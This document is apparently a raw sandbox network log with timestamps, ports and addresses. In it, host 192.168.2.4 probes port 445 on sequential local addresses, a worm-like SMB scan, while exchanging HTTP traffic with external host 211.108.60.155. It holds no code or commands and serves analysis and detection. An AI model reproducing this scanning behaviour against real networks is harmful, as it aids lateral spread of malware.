Jul 6, 2024 14:10:22.240689993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.240690947 CEST	49794	445	192.168.2.4	192.168.0.55
Jul 6, 2024 14:10:22.240709066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.240720987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.244355917 CEST	445	49793	192.168.0.54	192.168.2.4
Jul 6, 2024 14:10:22.244406939 CEST	49793	445	192.168.2.4	192.168.0.54
Jul 6, 2024 14:10:22.245486975 CEST	445	49794	192.168.0.55	192.168.2.4
Jul 6, 2024 14:10:22.245543957 CEST	49794	445	192.168.2.4	192.168.0.55
Jul 6, 2024 14:10:22.245656013 CEST	49794	445	192.168.2.4	192.168.0.55
Jul 6, 2024 14:10:22.251142025 CEST	445	49794	192.168.0.55	192.168.2.4
Jul 6, 2024 14:10:22.251199961 CEST	49794	445	192.168.2.4	192.168.0.55
Jul 6, 2024 14:10:22.262202978 CEST	49795	445	192.168.2.4	192.168.0.56
Jul 6, 2024 14:10:22.268250942 CEST	445	49795	192.168.0.56	192.168.2.4
Jul 6, 2024 14:10:22.268338919 CEST	49795	445	192.168.2.4	192.168.0.56
Jul 6, 2024 14:10:22.268451929 CEST	49795	445	192.168.2.4	192.168.0.56
Jul 6, 2024 14:10:22.274090052 CEST	445	49795	192.168.0.56	192.168.2.4
Jul 6, 2024 14:10:22.274137974 CEST	49795	445	192.168.2.4	192.168.0.56
Jul 6, 2024 14:10:22.276637077 CEST	49796	445	192.168.2.4	192.168.0.57
Jul 6, 2024 14:10:22.281424046 CEST	445	49796	192.168.0.57	192.168.2.4
Jul 6, 2024 14:10:22.281485081 CEST	49796	445	192.168.2.4	192.168.0.57
Jul 6, 2024 14:10:22.281559944 CEST	49796	445	192.168.2.4	192.168.0.57
Jul 6, 2024 14:10:22.287101984 CEST	445	49796	192.168.0.57	192.168.2.4
Jul 6, 2024 14:10:22.287144899 CEST	49796	445	192.168.2.4	192.168.0.57
Jul 6, 2024 14:10:22.287812948 CEST	49797	445	192.168.2.4	192.168.0.58
Jul 6, 2024 14:10:22.292721987 CEST	445	49797	192.168.0.58	192.168.2.4
Jul 6, 2024 14:10:22.292788982 CEST	49797	445	192.168.2.4	192.168.0.58
Jul 6, 2024 14:10:22.292867899 CEST	49797	445	192.168.2.4	192.168.0.58
Jul 6, 2024 14:10:22.298511028 CEST	445	49797	192.168.0.58	192.168.2.4
Jul 6, 2024 14:10:22.298748970 CEST	445	49797	192.168.0.58	192.168.2.4
Jul 6, 2024 14:10:22.298789024 CEST	49797	445	192.168.2.4	192.168.0.58
Jul 6, 2024 14:10:22.303116083 CEST	49798	445	192.168.2.4	192.168.0.59
Jul 6, 2024 14:10:22.308365107 CEST	445	49798	192.168.0.59	192.168.2.4
Jul 6, 2024 14:10:22.308419943 CEST	49798	445	192.168.2.4	192.168.0.59
Jul 6, 2024 14:10:22.308516979 CEST	49798	445	192.168.2.4	192.168.0.59
Jul 6, 2024 14:10:22.313966036 CEST	445	49798	192.168.0.59	192.168.2.4
Jul 6, 2024 14:10:22.314028025 CEST	49798	445	192.168.2.4	192.168.0.59
Jul 6, 2024 14:10:22.319421053 CEST	49799	445	192.168.2.4	192.168.0.60
Jul 6, 2024 14:10:22.324714899 CEST	445	49799	192.168.0.60	192.168.2.4
Jul 6, 2024 14:10:22.324774027 CEST	49799	445	192.168.2.4	192.168.0.60
Jul 6, 2024 14:10:22.324868917 CEST	49799	445	192.168.2.4	192.168.0.60
Jul 6, 2024 14:10:22.330878019 CEST	445	49799	192.168.0.60	192.168.2.4
Jul 6, 2024 14:10:22.330924034 CEST	49799	445	192.168.2.4	192.168.0.60
Jul 6, 2024 14:10:22.334105015 CEST	49800	445	192.168.2.4	192.168.0.61
Jul 6, 2024 14:10:22.339356899 CEST	445	49800	192.168.0.61	192.168.2.4
Jul 6, 2024 14:10:22.339415073 CEST	49800	445	192.168.2.4	192.168.0.61
Jul 6, 2024 14:10:22.339497089 CEST	49800	445	192.168.2.4	192.168.0.61
Jul 6, 2024 14:10:22.344860077 CEST	445	49800	192.168.0.61	192.168.2.4
Jul 6, 2024 14:10:22.344901085 CEST	49800	445	192.168.2.4	192.168.0.61
Jul 6, 2024 14:10:22.350047112 CEST	49801	445	192.168.2.4	192.168.0.62
Jul 6, 2024 14:10:22.355041981 CEST	445	49801	192.168.0.62	192.168.2.4
Jul 6, 2024 14:10:22.355097055 CEST	49801	445	192.168.2.4	192.168.0.62
Jul 6, 2024 14:10:22.355154991 CEST	49801	445	192.168.2.4	192.168.0.62
Jul 6, 2024 14:10:22.360661030 CEST	445	49801	192.168.0.62	192.168.2.4
Jul 6, 2024 14:10:22.360701084 CEST	49801	445	192.168.2.4	192.168.0.62
Jul 6, 2024 14:10:22.365154028 CEST	49802	445	192.168.2.4	192.168.0.63
Jul 6, 2024 14:10:22.371417046 CEST	445	49802	192.168.0.63	192.168.2.4
Jul 6, 2024 14:10:22.371479034 CEST	49802	445	192.168.2.4	192.168.0.63
Jul 6, 2024 14:10:22.371567011 CEST	49802	445	192.168.2.4	192.168.0.63
Jul 6, 2024 14:10:22.376940012 CEST	445	49802	192.168.0.63	192.168.2.4
Jul 6, 2024 14:10:22.376981020 CEST	49802	445	192.168.2.4	192.168.0.63
Jul 6, 2024 14:10:22.381021023 CEST	49803	445	192.168.2.4	192.168.0.64
Jul 6, 2024 14:10:22.385871887 CEST	445	49803	192.168.0.64	192.168.2.4
Jul 6, 2024 14:10:22.385921955 CEST	49803	445	192.168.2.4	192.168.0.64
Jul 6, 2024 14:10:22.385998011 CEST	49803	445	192.168.2.4	192.168.0.64
Jul 6, 2024 14:10:22.392196894 CEST	445	49803	192.168.0.64	192.168.2.4
Jul 6, 2024 14:10:22.392245054 CEST	49803	445	192.168.2.4	192.168.0.64
Jul 6, 2024 14:10:22.396457911 CEST	49804	445	192.168.2.4	192.168.0.65
Jul 6, 2024 14:10:22.401241064 CEST	445	49804	192.168.0.65	192.168.2.4
Jul 6, 2024 14:10:22.401295900 CEST	49804	445	192.168.2.4	192.168.0.65
Jul 6, 2024 14:10:22.401376009 CEST	49804	445	192.168.2.4	192.168.0.65
Jul 6, 2024 14:10:22.406471014 CEST	445	49804	192.168.0.65	192.168.2.4
Jul 6, 2024 14:10:22.406800032 CEST	445	49804	192.168.0.65	192.168.2.4
Jul 6, 2024 14:10:22.406847000 CEST	49804	445	192.168.2.4	192.168.0.65
Jul 6, 2024 14:10:22.412242889 CEST	49805	445	192.168.2.4	192.168.0.66
Jul 6, 2024 14:10:22.417114973 CEST	445	49805	192.168.0.66	192.168.2.4
Jul 6, 2024 14:10:22.417576075 CEST	49805	445	192.168.2.4	192.168.0.66
Jul 6, 2024 14:10:22.420778990 CEST	49805	445	192.168.2.4	192.168.0.66
Jul 6, 2024 14:10:22.426242113 CEST	445	49805	192.168.0.66	192.168.2.4
Jul 6, 2024 14:10:22.426763058 CEST	49805	445	192.168.2.4	192.168.0.66
Jul 6, 2024 14:10:22.427843094 CEST	49806	445	192.168.2.4	192.168.0.67
Jul 6, 2024 14:10:22.428901911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.428965092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429017067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429028988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429055929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429071903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429183006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429219961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429256916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429270029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429294109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429310083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429402113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429445028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429495096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429544926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429555893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429594040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429635048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429645061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429671049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429686069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429905891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429943085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429953098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429954052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.429972887 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429987907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.429991007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430001020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430028915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430294991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430339098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430361032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430371046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430391073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430413008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430423975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430433989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430445910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430454969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430459023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430473089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430490971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430567026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430577993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430608988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430634022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430684090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430696011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430718899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430738926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.430751085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.430785894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431061029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431104898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431138039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431149006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431160927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431170940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431185007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431205034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431442976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431485891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431515932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431526899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431551933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431560993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431564093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431570053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431593895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431612968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.431947947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431961060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.431993961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432023048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432038069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432050943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432059050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432060957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432091951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432115078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432149887 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432168961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432199955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432444096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432468891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432478905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432491064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432502985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432514906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432542086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432552099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432578087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432589054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.432945967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432959080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432988882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.432988882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.433000088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433001995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.433011055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433020115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433021069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.433038950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.433057070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.433175087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433183908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433195114 CEST	445	49806	192.168.0.67	192.168.2.4
Jul 6, 2024 14:10:22.433219910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.433252096 CEST	49806	445	192.168.2.4	192.168.0.67
Jul 6, 2024 14:10:22.433409929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433449030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433454990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.433459044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433485985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.433526039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433537006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.433559895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.433578014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.434020042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.434031010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.434041023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.434062958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.434087038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.434115887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.434128046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.434138060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.434154987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.434175014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.435796022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.435838938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.435879946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:22.435918093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:22.442388058 CEST	49806	445	192.168.2.4	192.168.0.67
Jul 6, 2024 14:10:22.443433046 CEST	49807	445	192.168.2.4	192.168.0.68
Jul 6, 2024 14:10:22.447465897 CEST	445	49806	192.168.0.67	192.168.2.4
Jul 6, 2024 14:10:22.447515011 CEST	49806	445	192.168.2.4	192.168.0.67
Jul 6, 2024 14:10:22.452434063 CEST	445	49807	192.168.0.68	192.168.2.4
Jul 6, 2024 14:10:22.452495098 CEST	49807	445	192.168.2.4	192.168.0.68
Jul 6, 2024 14:10:22.457859993 CEST	49807	445	192.168.2.4	192.168.0.68
Jul 6, 2024 14:10:22.458893061 CEST	49808	445	192.168.2.4	192.168.0.69
Jul 6, 2024 14:10:22.462898016 CEST	445	49807	192.168.0.68	192.168.2.4
Jul 6, 2024 14:10:22.462974072 CEST	49807	445	192.168.2.4	192.168.0.68
Jul 6, 2024 14:10:22.463855982 CEST	445	49808	192.168.0.69	192.168.2.4
Jul 6, 2024 14:10:22.463908911 CEST	49808	445	192.168.2.4	192.168.0.69
Jul 6, 2024 14:10:22.464005947 CEST	49808	445	192.168.2.4	192.168.0.69
Jul 6, 2024 14:10:22.469820023 CEST	445	49808	192.168.0.69	192.168.2.4
Jul 6, 2024 14:10:22.469861984 CEST	49808	445	192.168.2.4	192.168.0.69
Jul 6, 2024 14:10:22.474734068 CEST	49809	445	192.168.2.4	192.168.0.70
Jul 6, 2024 14:10:22.479868889 CEST	445	49809	192.168.0.70	192.168.2.4
Jul 6, 2024 14:10:22.480029106 CEST	49809	445	192.168.2.4	192.168.0.70
Jul 6, 2024 14:10:22.480123997 CEST	49809	445	192.168.2.4	192.168.0.70
Jul 6, 2024 14:10:22.485495090 CEST	445	49809	192.168.0.70	192.168.2.4
Jul 6, 2024 14:10:22.485588074 CEST	49809	445	192.168.2.4	192.168.0.70
Jul 6, 2024 14:10:22.490134001 CEST	49810	445	192.168.2.4	192.168.0.71
Jul 6, 2024 14:10:22.495341063 CEST	445	49810	192.168.0.71	192.168.2.4
Jul 6, 2024 14:10:22.495410919 CEST	49810	445	192.168.2.4	192.168.0.71
Jul 6, 2024 14:10:22.495498896 CEST	49810	445	192.168.2.4	192.168.0.71
Jul 6, 2024 14:10:22.501087904 CEST	445	49810	192.168.0.71	192.168.2.4
Jul 6, 2024 14:10:22.501138926 CEST	49810	445	192.168.2.4	192.168.0.71
Jul 6, 2024 14:10:22.505799055 CEST	49811	445	192.168.2.4	192.168.0.72
Jul 6, 2024 14:10:22.512307882 CEST	445	49811	192.168.0.72	192.168.2.4
Jul 6, 2024 14:10:22.512383938 CEST	49811	445	192.168.2.4	192.168.0.72
Jul 6, 2024 14:10:22.512474060 CEST	49811	445	192.168.2.4	192.168.0.72
Jul 6, 2024 14:10:22.517914057 CEST	445	49811	192.168.0.72	192.168.2.4
Jul 6, 2024 14:10:22.517971039 CEST	49811	445	192.168.2.4	192.168.0.72
Jul 6, 2024 14:10:22.521343946 CEST	49812	445	192.168.2.4	192.168.0.73
Jul 6, 2024 14:10:22.527779102 CEST	445	49812	192.168.0.73	192.168.2.4
Jul 6, 2024 14:10:22.527849913 CEST	49812	445	192.168.2.4	192.168.0.73
Jul 6, 2024 14:10:22.527923107 CEST	49812	445	192.168.2.4	192.168.0.73
Jul 6, 2024 14:10:22.533242941 CEST	445	49812	192.168.0.73	192.168.2.4
Jul 6, 2024 14:10:22.533305883 CEST	49812	445	192.168.2.4	192.168.0.73
Jul 6, 2024 14:10:22.536993027 CEST	49813	445	192.168.2.4	192.168.0.74
Jul 6, 2024 14:10:22.541893959 CEST	445	49813	192.168.0.74	192.168.2.4
Jul 6, 2024 14:10:22.541966915 CEST	49813	445	192.168.2.4	192.168.0.74
Jul 6, 2024 14:10:22.551779985 CEST	49813	445	192.168.2.4	192.168.0.74
Jul 6, 2024 14:10:22.552923918 CEST	49814	445	192.168.2.4	192.168.0.75
Jul 6, 2024 14:10:22.556773901 CEST	445	49813	192.168.0.74	192.168.2.4
Jul 6, 2024 14:10:22.556833982 CEST	49813	445	192.168.2.4	192.168.0.74
Jul 6, 2024 14:10:22.558130980 CEST	445	49814	192.168.0.75	192.168.2.4
Jul 6, 2024 14:10:22.558218002 CEST	49814	445	192.168.2.4	192.168.0.75
Jul 6, 2024 14:10:22.567224026 CEST	49814	445	192.168.2.4	192.168.0.75
Jul 6, 2024 14:10:22.568197012 CEST	49815	445	192.168.2.4	192.168.0.76
Jul 6, 2024 14:10:22.572185040 CEST	445	49814	192.168.0.75	192.168.2.4
Jul 6, 2024 14:10:22.572247028 CEST	49814	445	192.168.2.4	192.168.0.75
Jul 6, 2024 14:10:22.573235035 CEST	445	49815	192.168.0.76	192.168.2.4
Jul 6, 2024 14:10:22.573296070 CEST	49815	445	192.168.2.4	192.168.0.76
Jul 6, 2024 14:10:22.582870007 CEST	49815	445	192.168.2.4	192.168.0.76
Jul 6, 2024 14:10:22.583981037 CEST	49816	445	192.168.2.4	192.168.0.77
Jul 6, 2024 14:10:22.589063883 CEST	445	49816	192.168.0.77	192.168.2.4
Jul 6, 2024 14:10:22.589119911 CEST	445	49815	192.168.0.76	192.168.2.4
Jul 6, 2024 14:10:22.589137077 CEST	49816	445	192.168.2.4	192.168.0.77
Jul 6, 2024 14:10:22.589164019 CEST	49815	445	192.168.2.4	192.168.0.76
Jul 6, 2024 14:10:22.589255095 CEST	49816	445	192.168.2.4	192.168.0.77
Jul 6, 2024 14:10:22.596920013 CEST	445	49816	192.168.0.77	192.168.2.4
Jul 6, 2024 14:10:22.596966028 CEST	49816	445	192.168.2.4	192.168.0.77
Jul 6, 2024 14:10:22.599435091 CEST	49817	445	192.168.2.4	192.168.0.78
Jul 6, 2024 14:10:22.604226112 CEST	445	49817	192.168.0.78	192.168.2.4
Jul 6, 2024 14:10:22.604286909 CEST	49817	445	192.168.2.4	192.168.0.78
Jul 6, 2024 14:10:22.604372978 CEST	49817	445	192.168.2.4	192.168.0.78
Jul 6, 2024 14:10:22.609913111 CEST	445	49817	192.168.0.78	192.168.2.4
Jul 6, 2024 14:10:22.609961987 CEST	49817	445	192.168.2.4	192.168.0.78
Jul 6, 2024 14:10:22.614995003 CEST	49818	445	192.168.2.4	192.168.0.79
Jul 6, 2024 14:10:22.630597115 CEST	49819	445	192.168.2.4	192.168.0.80
Jul 6, 2024 14:10:22.646450996 CEST	49820	445	192.168.2.4	192.168.0.81
Jul 6, 2024 14:10:22.661920071 CEST	49821	445	192.168.2.4	192.168.0.82
Jul 6, 2024 14:10:22.677561998 CEST	49822	445	192.168.2.4	192.168.0.83
Jul 6, 2024 14:10:22.693360090 CEST	49823	445	192.168.2.4	192.168.0.84
Jul 6, 2024 14:10:22.708889008 CEST	49824	445	192.168.2.4	192.168.0.85
Jul 6, 2024 14:10:22.724464893 CEST	49825	445	192.168.2.4	192.168.0.86
Jul 6, 2024 14:10:22.740102053 CEST	49826	445	192.168.2.4	192.168.0.87
Jul 6, 2024 14:10:22.764580965 CEST	49827	445	192.168.2.4	192.168.0.88
Jul 6, 2024 14:10:22.780647039 CEST	49828	445	192.168.2.4	192.168.0.89
Jul 6, 2024 14:10:22.787388086 CEST	49829	445	192.168.2.4	192.168.0.90
Jul 6, 2024 14:10:22.802809000 CEST	49830	445	192.168.2.4	192.168.0.91
Jul 6, 2024 14:10:22.818212032 CEST	49831	445	192.168.2.4	192.168.0.92
Jul 6, 2024 14:10:22.833920002 CEST	49832	445	192.168.2.4	192.168.0.93
Jul 6, 2024 14:10:22.849487066 CEST	49833	445	192.168.2.4	192.168.0.94
Jul 6, 2024 14:10:22.865108967 CEST	49834	445	192.168.2.4	192.168.0.95
Jul 6, 2024 14:10:22.880798101 CEST	49835	445	192.168.2.4	192.168.0.96
Jul 6, 2024 14:10:22.896301985 CEST	49836	445	192.168.2.4	192.168.0.97
Jul 6, 2024 14:10:22.912293911 CEST	49837	445	192.168.2.4	192.168.0.98
Jul 6, 2024 14:10:22.927592993 CEST	49838	445	192.168.2.4	192.168.0.99
Jul 6, 2024 14:10:22.943248987 CEST	49839	445	192.168.2.4	192.168.0.100
Jul 6, 2024 14:10:22.958957911 CEST	49840	445	192.168.2.4	192.168.0.101
Jul 6, 2024 14:10:22.974574089 CEST	49841	445	192.168.2.4	192.168.0.102
Jul 6, 2024 14:10:22.990361929 CEST	49842	445	192.168.2.4	192.168.0.103
Jul 6, 2024 14:10:23.005737066 CEST	49843	445	192.168.2.4	192.168.0.104
Jul 6, 2024 14:10:23.021666050 CEST	49844	445	192.168.2.4	192.168.0.105
Jul 6, 2024 14:10:23.037168980 CEST	49845	445	192.168.2.4	192.168.0.106
Jul 6, 2024 14:10:23.053221941 CEST	49846	445	192.168.2.4	192.168.0.107
Jul 6, 2024 14:10:23.070878983 CEST	49847	445	192.168.2.4	192.168.0.108
Jul 6, 2024 14:10:23.084002972 CEST	49848	445	192.168.2.4	192.168.0.109
Jul 6, 2024 14:10:23.099772930 CEST	49849	445	192.168.2.4	192.168.0.110
Jul 6, 2024 14:10:23.127549887 CEST	49850	445	192.168.2.4	192.168.0.111
Jul 6, 2024 14:10:23.130760908 CEST	49851	445	192.168.2.4	192.168.0.112
Jul 6, 2024 14:10:23.146657944 CEST	49852	445	192.168.2.4	192.168.0.113
Jul 6, 2024 14:10:23.164711952 CEST	49853	445	192.168.2.4	192.168.0.114
Jul 6, 2024 14:10:23.177879095 CEST	49854	445	192.168.2.4	192.168.0.115
Jul 6, 2024 14:10:23.193357944 CEST	49855	445	192.168.2.4	192.168.0.116
Jul 6, 2024 14:10:23.209229946 CEST	49856	445	192.168.2.4	192.168.0.117
Jul 6, 2024 14:10:23.224725962 CEST	49857	445	192.168.2.4	192.168.0.118
Jul 6, 2024 14:10:23.240170956 CEST	49858	445	192.168.2.4	192.168.0.119
Jul 6, 2024 14:10:23.255907059 CEST	49859	445	192.168.2.4	192.168.0.120
Jul 6, 2024 14:10:23.271418095 CEST	49860	445	192.168.2.4	192.168.0.121
Jul 6, 2024 14:10:23.287139893 CEST	49861	445	192.168.2.4	192.168.0.122
Jul 6, 2024 14:10:23.302587032 CEST	49862	445	192.168.2.4	192.168.0.123
Jul 6, 2024 14:10:23.318459034 CEST	49863	445	192.168.2.4	192.168.0.124
Jul 6, 2024 14:10:23.333903074 CEST	49864	445	192.168.2.4	192.168.0.125
Jul 6, 2024 14:10:23.349513054 CEST	49865	445	192.168.2.4	192.168.0.126
Jul 6, 2024 14:10:23.365102053 CEST	49866	445	192.168.2.4	192.168.0.127
Jul 6, 2024 14:10:23.380681992 CEST	49867	445	192.168.2.4	192.168.0.128
